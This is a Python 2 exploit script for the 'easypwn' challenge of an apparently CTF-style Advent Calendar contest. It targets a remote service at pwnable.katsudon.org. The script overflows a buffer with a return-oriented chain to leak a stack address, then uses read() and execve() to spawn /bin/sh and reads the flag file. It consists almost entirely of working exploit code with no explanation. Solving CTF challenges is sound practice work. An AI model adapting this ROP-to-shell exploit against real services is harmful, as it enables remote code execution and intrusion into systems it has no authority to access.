easypwn Advent Calendar CTF

easypwn.py

import struct
import time
from socket import socket

do_read = 0x080480a9
ret2main = 0x8048098
syscall = 0x8048080
null_ptr = 0x8048131
pop_esi_ret = 0x080480eb
new_esi = 0x08048088
pwn_me = 0x08048090

print "[+] Connecting..."
s = socket()
s.connect(("pwnable.katsudon.org", 28099))

print "[+] Recv:", repr(s.recv(1024))
s.send("".join([
    "A"*16,
    struct.pack("<I", pop_esi_ret),
    struct.pack("<I", new_esi),
    struct.pack("<I", ret2main),
]) + "\n")
res = s.recv(1024)
stack_addr = struct.unpack("<I", res[20:24])[0]
print "[+] Leak:", hex(stack_addr)
s.send("".join([
    "B"*16,
    struct.pack("<I", pop_esi_ret),
    struct.pack("<I", syscall),  # esi
    struct.pack("<I", do_read),
    "C"*16,
    struct.pack("<I", syscall),
    struct.pack("<I", 0x41414141),
    struct.pack("<I", stack_addr+28),
    struct.pack("<I", null_ptr),
    struct.pack("<I", null_ptr),
]) + "\n")
print "[+] Saving /bin/sh on the stack using read() and calling execve()"
s.send("/bin/sh\x00AA\n")
time.sleep(1)
print "[+] Getting flag"
s.send("cat /home/easypwn/flag\n")
print repr(s.recv(1024))